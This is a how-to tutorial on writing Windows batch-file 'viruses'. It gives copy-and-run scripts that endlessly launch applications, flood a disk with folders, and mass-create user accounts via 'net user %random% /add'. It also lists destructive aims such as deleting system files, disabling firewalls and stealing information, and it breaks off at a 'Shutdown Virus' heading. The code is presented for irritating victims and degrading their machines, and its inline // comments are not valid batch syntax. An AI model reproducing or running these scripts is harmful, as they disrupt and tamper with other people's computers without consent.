Batch Files - the Art of Creating Viruses
Just paste the codes in notepad and
save files with extension .bat and your deadly batch viruses would be ready.
But instead of that, let’s focus on making the basics of batch files clear and
developing the approach to code your own viruses.
Let’s begin with a simple example ,
Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one
1.
md x //makes directory 'x' on desktop
2.
cd x // changes current directory to 'x'
3.
md y // makes a directory 'y' in directory 'x'
Now delete the folder 'x'.
Let’s do the same thing in another
way. Copy these three commands in notepad and save file as anything.bat
So a batch file is simply a text
containing series of commands which are executed automatically line by line
when the batch file is run.
What can
batch viruses do?
They can be used to delete the
windows files,format data,steal information,irritate victim, consume CPU
resources to affect performance,disable firewalls,open ports,modify or destroy
registry and for many more purposes.
Now let’s start with simple codes,
Just copy the code to notepad and save it as anything.bat (Name can be anything
you wish but extension must be bat and save it as 'all files' instead of text
files).
Note: Type 'help' in command prompt
to know about some basic commands and to know about using a particular command
, type 'command_name /?' without quotes.
1.Application
Bomber
@echo off // It instructs to hide
the commands when batch files is executed
:x //loop variable
start winword
start mspaint
//open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop
This code when executed will start
open different applications like paint,notepad,command prompt repeatedly,
irritating victim and ofcourse affecting performance.
2.
Folder flooder
@echo off
:x
md %random% // makes
directory/folder.
goto x
Here %random% is a variable that
would generate a positive no. randomly. So this code would make start
creating folders whose name can be any random number.
3.User account flooder
@echo off
:x
net user %random% /add //create user
account
goto x
This code would start creating
windows user accounts whose names could be any random numbers.
4.Shutdown
Virus